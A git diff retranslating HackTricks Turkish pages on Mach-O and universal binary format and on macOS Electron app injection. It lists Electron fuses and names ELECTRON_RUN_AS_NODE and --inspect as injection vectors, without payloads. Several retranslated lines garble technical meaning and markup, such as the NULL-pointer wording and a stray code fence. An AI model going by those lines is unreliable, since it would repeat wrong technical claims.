-**`kextd`** kullanılamıyorsa, **`kextutil`** aynı kontrolleri yapabilir.
+Eğer **`kextd`** mevcut değilse, **`kextutil`** aynı kontrolleri yapabilir.
## Referanslar
@@ -51,12 +51,12 @@ Catalina'da durum şöyleydi: **Doğrulama** işlemi **kullanıcı alanında** g
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!
+Sıfırdan kahraman olmak için AWS hackleme öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
-* **Bir siber güvenlik şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te duyurmak** ister misiniz? **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin.
-* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin.
-* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **beni takip edin**.
-* **Hacking hilelerinizi göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
+* **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
+* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin
+* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **takip edin**.
+* **Hacking püf noktalarınızı göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
index c1e25740f..d83d98d0c 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
@@ -2,23 +2,23 @@
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
+AWS hackleme konusunda sıfırdan kahramana kadar öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
## Temel Bilgiler
-Mac OS ikili dosyaları genellikle **evrensel ikili dosyalar** olarak derlenir. Bir **evrensel ikili dosya**, aynı dosyada **çoklu mimarileri destekleyebilir**.
+Mac OS ikili dosyalar genellikle **evrensel ikili dosyalar** olarak derlenir. Bir **evrensel ikili dosya**, **aynı dosyada birden fazla mimariyi destekleyebilir**.
-Bu ikili dosyalar, temel olarak şu şekilde oluşan **Mach-O yapısını** takip eder:
+Bu ikili dosyalar genellikle **Mach-O yapısını** takip eder, bu yapının temel olarak şunlardan oluşur:
* Başlık
* Yükleme Komutları
@@ -26,7 +26,7 @@ Bu ikili dosyalar, temel olarak şu şekilde oluşan **Mach-O yapısını** taki
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>)
-## Yağ Başlık
+## Yağlı Başlık
Dosyayı şu komutla arayın: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
@@ -41,50 +41,50 @@ struct fat_header {
struct fat_arch {
cpu_type_t cputype; /* cpu belirleyici (int) */
cpu_subtype_t cpusubtype; /* makine belirleyici (int) */
-uint32_t offset; /* bu nesne dosyasına göre dosya ofseti */
+uint32_t offset; /* bu nesne dosyasına dosya ofseti */
uint32_t size; /* bu nesne dosyasının boyutu */
uint32_t align; /* 2'nin üssü olarak hizalama */
};
-Başlık, **sihirli** baytları ve dosyanın içerdiği **mimari sayısını** (`nfat_arch`) takip eden her bir mimarinin bir `fat_arch` yapısına sahip olduğu bilgileri içerir.
+Başlık, **sihirli** baytları ve dosyanın içerdiği **mimari sayısını** (`nfat_arch`) takip eden her mimarinin bir `fat_arch` yapısına sahip olduğu baytları içerir.
-Bunu şu şekilde kontrol edin:
+Şununla kontrol edin:
veya [Mach-O View](https://sourceforge.net/projects/machoview/) aracını kullanarak:
-Genellikle 2 mimari için derlenen evrensel bir ikili dosya, yalnızca 1 mimari için derlenene göre **boyutunu ikiye katlar**.
+Genellikle 2 mimari için derlenen bir evrensel ikili dosya, yalnızca 1 mimari için derlenen bir dosyanın boyutunu **iki katına çıkarır**.
## **Mach-O Başlık**
-Başlık, dosyanın sihirli baytlarını ve hedef mimari hakkında bilgiler gibi dosya hakkında temel bilgiler içerir. Başlığı şurada bulabilirsiniz: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
+Başlık, dosya hakkında temel bilgiler içerir, örneğin dosyayı Mach-O dosyası olarak tanımlayan sihirli baytlar ve hedef mimari hakkında bilgiler. Bu bilgileri şurada bulabilirsiniz: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
```c
#define MH_MAGIC 0xfeedface /* the mach magic number */
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
@@ -111,11 +111,11 @@ uint32_t flags; /* flags */
uint32_t reserved; /* reserved */
};
```
-**Dosya türleri**:
+**Dosya Türleri**:
* MH\_EXECUTE (0x2): Standart Mach-O yürütülebilir dosyası
-* MH\_DYLIB (0x6): Bir Mach-O dinamik bağlantılı kütüphane (yani .dylib)
-* MH\_BUNDLE (0x8): Bir Mach-O paketi (yani .bundle)
+* MH\_DYLIB (0x6): Bir Mach-O dinamik bağlantılı kütüphane (.dylib)
+* MH\_BUNDLE (0x8): Bir Mach-O paketi (.bundle)
```bash
# Checking the mac header of a binary
otool -arch arm64e -hv /bin/ls
@@ -129,39 +129,39 @@ Veya [Mach-O View](https://sourceforge.net/projects/machoview/) kullanarak:
## **Mach-O Yükleme komutları**
-Bellekteki **dosyanın düzeni** burada belirtilir, **sembol tablosunun konumu**, yürütme başlangıcında ana iş parçacığının bağlamı ve gereken **paylaşılan kütüphaneler** ayrıntılı olarak açıklanır. Talimatlar, binary'nin belleğe yükleme süreci hakkında dinamik yükleyici **(dyld)**'ye sağlanır.
+**Dosyanın bellekteki düzeni** burada belirtilir, **sembol tablosunun konumu**, yürütme başlangıcında ana iş parçacığının bağlamı ve gerekli **paylaşılan kütüphaneler** detaylandırılır. Talimatlar, ikincil belleğe yüklenen ikili dosyanın yükleme süreci hakkında dinamik yükleyici **(dyld)** için sağlanır.
-Kullanılan yapı, bahsedilen **`loader.h`** içinde tanımlanan **load\_command** yapısıdır:
+Kullanılan yapı, belirtilen **`loader.h`** içinde tanımlanan **load\_command** yapısıdır:
```objectivec
struct load_command {
uint32_t cmd; /* type of load command */
uint32_t cmdsize; /* total size of command in bytes */
};
```
-Sistem farklı şekillerde işlenen yaklaşık **50 farklı yükleme komutu** bulunmaktadır. En yaygın olanlar şunlardır: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` ve `LC_CODE_SIGNATURE`.
+Sistem farklı şekillerde işlediği yaklaşık **50 farklı yükleme komutu türü** bulunmaktadır. En yaygın olanlar şunlardır: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` ve `LC_CODE_SIGNATURE`.
### **LC\_SEGMENT/LC\_SEGMENT\_64**
{% hint style="success" %}
-Temel olarak, bu tür Yükleme Komutu, ikili dosya çalıştırıldığında **Veri bölümünde belirtilen ofsetlere göre \_\_TEXT** (yürütülebilir kod) **ve \_\_DATA** (işlem için veri) **segmentlerinin nasıl yükleneceğini** tanımlar.
+Temelde, bu tür Yükleme Komutları, ikili dosya yürütüldüğünde **\_\_TEXT** (yürütülebilir kod) ve **\_\_DATA** (işlem için veri) **segmentlerini** yüklemenin **veri bölümünde belirtilen ofsetlere göre** nasıl yükleneceğini tanımlar.
{% endhint %}
-Bu komutlar, bir işlem çalıştırıldığında **sanal bellek alanına eşlenen segmentleri** tanımlar.
+Bu komutlar, bir işlemin yürütüldüğünde **sanal bellek alanına eşlenen segmentleri tanımlar**.
-\_\_TEXT segmenti, bir programın yürütülebilir kodunu içeren ve işlem tarafından kullanılan verileri içeren \_\_DATA segmenti gibi **farklı türlerde segmentler** bulunmaktadır. Bu segmentler, Mach-O dosyasının veri bölümünde bulunur.
+**Farklı türlerde** segmentler bulunmaktadır, örneğin bir programın yürütülebilir kodunu içeren **\_\_TEXT** segmenti ve işlem tarafından kullanılan verileri içeren **\_\_DATA** segmenti. Bu **segmentler**, Mach-O dosyasının veri bölümünde bulunmaktadır.
-**Her segment**, daha fazla **bölüme** ayrılabilir. **Yükleme komutu yapısı**, ilgili segment içindeki **bu bölümlerle ilgili bilgileri** içerir.
+**Her segment**, daha fazla **bölünebilir** olan **birçok bölüme** ayrılabilir. **Yükleme komutu yapısı**, ilgili segment içindeki **bu bölümler hakkında bilgi** içerir.
-Başlıkta önce **segment başlığı** bulunur:
+Başlıkta önce **segment başlığını** bulursunuz:
-
struct segment_command_64 { /* 64 bit mimariler için */
+
struct segment_command_64 { /* 64-bit mimariler için */
uint32_t cmd; /* LC_SEGMENT_64 */
-uint32_t cmdsize; /* section_64 yapılarının sizeof'ını içerir */
+uint32_t cmdsize; /* section_64 yapılarının boyutunu içerir */
char segname[16]; /* segment adı */
uint64_t vmaddr; /* bu segmentin bellek adresi */
uint64_t vmsize; /* bu segmentin bellek boyutu */
uint64_t fileoff; /* bu segmentin dosya ofseti */
-uint64_t filesize; /* dosyadan eşlenecek miktar */
+uint64_t filesize; /* dosyadan eşlenmesi gereken miktar */
int32_t maxprot; /* maksimum VM koruması */
int32_t initprot; /* başlangıç VM koruması */
uint32_t nsects; /* segmentteki bölüm sayısı */
@@ -169,11 +169,11 @@ int32_t initprot; /* başlangıç VM koruması */
};
-Segment başlığı örneği:
+Segment başlığının örneği:
-Bu başlık, **ardından görünen bölüm başlıklarının sayısını** tanımlar:
+Bu başlık, **ardından görünen başlıkları olan bölümlerin sayısını** tanımlar:
```c
struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */
@@ -190,52 +190,54 @@ uint32_t reserved2; /* reserved (for count or sizeof) */
uint32_t reserved3; /* reserved */
};
```
-**Bölüm başlığı** örneği:
+Örnek **bölüm başlığı**:
-Eğer **bölüm ofsetini** (0x37DC) + **mimarinin başladığı ofseti** (bu durumda `0x18000`) **eklerseniz**, `0x37DC + 0x18000 = 0x1B7DC` olur.
+Eğer **bölüm ofseti** (0x37DC) + **mimarinin başladığı ofset** eklenirse, bu durumda `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
-
+
-Ayrıca **komut satırından** **başlık bilgilerini** almak da mümkündür:
+Ayrıca **başlık bilgilerini** **komut satırından** almak da mümkündür:
```bash
otool -lv /bin/ls
```
+```markdown
Bu komut tarafından yüklenen yaygın bölümler:
-* **`__PAGEZERO`:** Bu, çekirdeğe **adres sıfırı**nı **okunamaz, yazılamaz veya yürütülemez** olarak **haritalamak** için talimat verir. Yapıdaki maxprot ve minprot değişkenleri sıfıra ayarlanır, bu da bu sayfada **okuma-yazma-yürütme haklarının olmadığını** gösterir.
-* Bu tahsis, **NULL işaretçi başvurusu açıklarını hafifletmek** için önemlidir.
-* **`__TEXT`**: **Okunabilir** ve **yürütülebilir** (yazılabilir değil) **yürütülebilir** **kod** içerir. Bu segmentin yaygın bölümleri:
+* **`__PAGEZERO`:** Çekirdeğe **adres sıfırı**nı **haritalamaması** için talimat verir, böylece bu sayfada **okunamaz, yazılamaz veya yürütülemez**. Yapıdaki maxprot ve minprot değişkenleri sıfıra ayarlanır, bu sayfada **okuma-yazma-yürütme hakları olmadığını** belirtir.
+* Bu tahsis, **NULL işaretçi sızdırmazlıklarını hafifletmek** için önemlidir.
+* **`__TEXT`**: **Okunabilir** ve **yürütülebilir** izinlere sahip **yürütülebilir** **kod** içerir (yazılabilir değil)**.** Bu segmentin yaygın bölümleri:
* `__text`: Derlenmiş ikili kod
-* `__const`: Sabit veriler
+* `__const`: Sabit veri
* `__cstring`: Dize sabitleri
-* `__stubs` ve `__stubs_helper`: Dinamik kitaplık yükleme sürecinde yer alır
-* **`__DATA`**: **Okunabilir** ve **yazılabilir** (yürütülemez) veriler içerir.
-* `__data`: Başlatılmış global değişkenler
+* `__stubs` ve `__stubs_helper`: Dinamik kitaplık yükleme sürecinde rol oynar
+* **`__DATA`**: **Okunabilir** ve **yazılabilir** verileri içerir (yürütülebilir değil)**.**
+* `__data`: Başlatılmış küresel değişkenler
* `__bss`: Başlatılmamış statik değişkenler
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, vb.): Objective-C çalışma zamanı tarafından kullanılan bilgiler
-* **`__LINKEDIT`**: "sembol, dize ve yerleştirme tablosu girişleri" gibi, bağlayıcı (dyld) için bilgiler içerir.
-* **`__OBJC`**: Objective-C çalışma zamanı tarafından kullanılan bilgiler içerir. Bu bilgiler aynı zamanda \_\_DATA segmentinde de bulunabilir, çeşitli \_\_objc\_\* bölümlerinde bulunur.
+* **`__LINKEDIT`**: Bağlayıcı için (dyld) "sembol, dize ve yer değiştirme tablosu girişleri" gibi bilgileri içerir.
+* **`__OBJC`**: Objective-C çalışma zamanı tarafından kullanılan bilgileri içerir. Bu bilgiler ayrıca \_\_DATA segmentinde, çeşitli \_\_objc\_\* bölümlerinde de bulunabilir.
### **`LC_MAIN`**
-**entryoff** özniteliğinde giriş noktasını içerir. Yükleme zamanında, **dyld** bu değeri (hafızada) **ikilinin tabanına ekler**, ardından bu talimata atlayarak ikilinin kodunun yürütmesini başlatır.
+**entryoff özniteliğindeki** giriş noktasını içerir. Yükleme zamanında, **dyld** bu değeri (bellekteki) **ikili tabanına ekler**, ardından bu talimata atlayarak ikilinin kodunun yürütülmesini başlatır.
### **LC\_CODE\_SIGNATURE**
Macho-O dosyasının **kod imzası hakkında bilgi** içerir. Yalnızca **imza bloğuna işaret eden bir ofset** içerir. Bu genellikle dosyanın sonunda bulunur.\
-Ancak, bu bölüm hakkında bazı bilgilere [**bu blog yazısında**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) ve bu [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) ulaşabilirsiniz.
+Ancak, bu bölümle ilgili bazı bilgileri [**bu blog yazısında**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) ve bu [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) bulabilirsiniz.
### **LC\_LOAD\_DYLINKER**
-Paylaşılan kitaplıkları işlem adres alanına eşleyen dinamik bağlayıcı yürütülebilirinin **yolunu içerir**. **Değer her zaman `/usr/lib/dyld` olarak ayarlanır**. Önemli bir nokta olarak, macOS'ta dylib eşlemesi **çekirdek modunda değil, kullanıcı modunda** gerçekleşir.
+Paylaşılan kitaplıkları işlem adres alanına haritalayan dinamik bağlayıcı yürütülebilir dosyanın **yolunu içerir**. **Değer her zaman `/usr/lib/dyld` olarak ayarlanır**. macOS'ta dylib eşlemesi **çekirdek modunda değil, kullanıcı modunda** gerçekleşir.
### **`LC_LOAD_DYLIB`**
-Bu yükleme komutu, Mach-O ikilisinin gerektirdiği **dinamik kitaplık bağımlılığını tanımlar** ve **yükleyiciyi** (dyld) **bu kitaplığı yüklemesi ve bağlaması için yönlendirir**. Mach-O ikilisinin gerektirdiği her kitaplık için bir LC\_LOAD\_DYLIB yükleme komutu vardır.
+Bu yükleme komutu, **yükleme ve bağlama talimatı veren** **dinamik** **kitaplık** bağımlılığını açıklar. Mach-O ikilisinin gerektirdiği her kitaplık için bir LC\_LOAD\_DYLIB yükleme komutu vardır.
-* Bu yükleme komutu, gerçek bağımlı dinamik kitaplığı tanımlayan bir struct dylib içeren **`dylib_command`** türünde bir yapıdır:
+* Bu yükleme komutu, **gerçek bağımlı dinamik kitaplığı tanımlayan** bir yapı türü olan **`dylib_command`** yapısını içerir:
+```
```objectivec
struct dylib_command {
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
@@ -250,9 +252,7 @@ uint32_t current_version; /* library's current version number */
uint32_t compatibility_version; /* library's compatibility vers number*/
};
```
-![](<../../../.gitbook/assets/image (558).png>)
-
-Bu bilgiyi ayrıca komut satırından da alabilirsiniz:
+Ayrıca bu bilgiyi şu komutla da alabilirsiniz:
```bash
otool -L /bin/ls
/bin/ls:
@@ -260,32 +260,32 @@ otool -L /bin/ls
/usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0)
```
-Potansiyel kötü amaçlı yazılım ile ilişkili bazı kütüphaneler şunlardır:
+Potansiyel kötü amaçlı yazılım ile ilişkili kütüphaneler şunlardır:
* **DiskArbitration**: USB sürücülerini izleme
* **AVFoundation:** Ses ve video yakalama
* **CoreWLAN**: Wifi taramaları.
{% hint style="info" %}
-Bir Mach-O ikili dosyası, **LC\_MAIN**'de belirtilen adresten **önce** **çalıştırılacak** bir veya **daha fazla yapıcı** içerebilir.\
-Herhangi bir yapıcının ofsetleri, **\_\_DATA\_CONST** segmentinin **\_\_mod\_init\_func** bölümünde tutulur.
+Bir Mach-O ikili dosyası, **LC\_MAIN** içinde belirtilen adresten **önce** **çalıştırılacak** bir veya **daha fazla** **kurucu** içerebilir.\
+Herhangi bir kurucunun ofsetleri, **\_\_DATA\_CONST** segmentinin **\_\_mod\_init\_func** bölümünde tutulur.
{% endhint %}
## **Mach-O Verileri**
-Dosyanın çekirdeğinde, yük komutları bölgesinde tanımlandığı gibi birkaç segmentten oluşan veri bölgesi bulunur. **Her segmentte birçok veri bölümü barındırılabilir**, her bölüm ise bir türe özgü kod veya veri içerir.
+Dosyanın çekirdeğinde, yükleme komutları bölgesinde tanımlanan birkaç segmentten oluşan veri bölgesi bulunmaktadır. **Her segmentte çeşitli veri bölümleri barındırılabilir**, her bölüm de bir türe özgü kod veya veri içerir.
{% hint style="success" %}
-Veri, temel olarak yük komutları **LC\_SEGMENTS\_64** tarafından yüklenen tüm **bilgileri** içeren kısımdır.
+Veri, temelde yükleme komutları **LC\_SEGMENTS\_64** tarafından yüklenen tüm **bilgileri** içeren kısımdır.
{% endhint %}
-![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
+![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
Bu şunları içerir:
-* **Fonksiyon tablosu:** Program fonksiyonları hakkında bilgi içerir.
-* **Sembol tablosu**: İkili tarafından kullanılan harici fonksiyonlar hakkında bilgi içerir
-* Ayrıca dahili fonksiyon, değişken adları ve daha fazlasını içerebilir.
+* **Fonksiyon tablosu:** Program fonksiyonları hakkında bilgileri tutar.
+* **Sembol tablosu**: İkili dosya tarafından kullanılan harici fonksiyonlar hakkındaki bilgileri içerir
+* Ayrıca dahili fonksiyonları, değişken isimlerini ve daha fazlasını içerebilir.
Bunu kontrol etmek için [**Mach-O View**](https://sourceforge.net/projects/machoview/) aracını kullanabilirsiniz:
@@ -295,16 +295,18 @@ Veya komut satırından:
```bash
size -m /bin/ls
```
-
+
-AWS hacklemeyi sıfırdan kahraman seviyesine öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+<özet>
-HackTricks'i desteklemenin diğer yolları:
+AWS hackleme konusunda sıfırdan kahramana kadar öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
-* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
-
+
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
index 07bf54f91..0127a4c62 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@@ -1,41 +1,41 @@
-# macOS Electron Uygulamalarında Enjeksiyon
+# macOS Electron Uygulamaları Enjeksiyonu
-AWS hacklemeyi sıfırdan kahraman olmak içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
+AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## Temel Bilgiler
-Electron nedir bilmiyorsanız, [**burada birçok bilgi bulabilirsiniz**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ancak şimdilik sadece şunu bilin ki Electron **node** çalıştırır.\
-Ve node'un bazı **parametreleri** ve **çevresel değişkenleri** vardır ki bunlar, belirtilen dosyanın dışında başka kodları **çalıştırmak için kullanılabilir**.
+Electron nedir bilmiyorsanız [**burada birçok bilgi bulabilirsiniz**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ancak şu anda sadece bilmelisiniz ki Electron **node** çalıştırır.\
+Ve node'un **başka kodları çalıştırmasına izin veren** bazı **parametreleri** ve **çevresel değişkenleri** vardır.
-### Electron Füzyonları
+### Electron Sigortaları
-Bu teknikler bir sonraki bölümde tartışılacak olsa da, Electron son zamanlarda bunları **önlemek için birkaç güvenlik bayrağı ekledi**. Bunlar [**Electron Füzyonları**](https://www.electronjs.org/docs/latest/tutorial/fuses) olarak adlandırılır ve bunlar macOS'ta Electron uygulamalarının **keyfi kod yükleme**yi **önlemek** için kullandığı füzyonlardır:
+Bu teknikler bir sonraki aşamada tartışılacak, ancak son zamanlarda Electron, bunları **önlemek için** birkaç **güvenlik bayrağı ekledi**. Bunlar [**Electron Sigortaları**](https://www.electronjs.org/docs/latest/tutorial/fuses) ve bunlar macOS'ta Electron uygulamalarının **keyfi kod yükleme**yi **önlemek** için kullandığı sigortalardır:
-* **`RunAsNode`**: Devre dışı bırakılırsa, kod enjeksiyonu için **`ELECTRON_RUN_AS_NODE`** çevresel değişkeninin kullanımını engeller.
-* **`EnableNodeCliInspectArguments`**: Devre dışı bırakılırsa, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmaz. Böylece kod enjeksiyonunu önler.
-* **`EnableEmbeddedAsarIntegrityValidation`**: Etkinleştirilirse, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanır**. Bu şekilde, bu dosyanın içeriğini değiştirerek kod enjeksiyonunu önler.
-* **`OnlyLoadAppFromAsar`**: Bu etkinleştirilirse, yükleme sırasını aramak yerine sadece **`app.asar`**'ı kontrol eder ve kullanır. Bu şekilde, **`embeddedAsarIntegrityValidation`** füzyonuyla birleştirildiğinde doğrulanmamış kodun yüklenmesinin **imkansız** olduğunu garanti eder.
-* **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinleştirilirse, tarayıcı işlemi V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır.
+* **`RunAsNode`**: Devre dışı bırakıldığında, kod enjekte etmek için **`ELECTRON_RUN_AS_NODE`** çevresel değişkeninin kullanılmasını engeller.
+* **`EnableNodeCliInspectArguments`**: Devre dışı bırakıldığında, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmaz. Bu şekilde kod enjekte etme engellenir.
+* **`EnableEmbeddedAsarIntegrityValidation`**: Eğer etkinse, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanır**. Bu dosyanın içeriğini değiştirerek **kod enjeksiyonunu** bu şekilde **önler**.
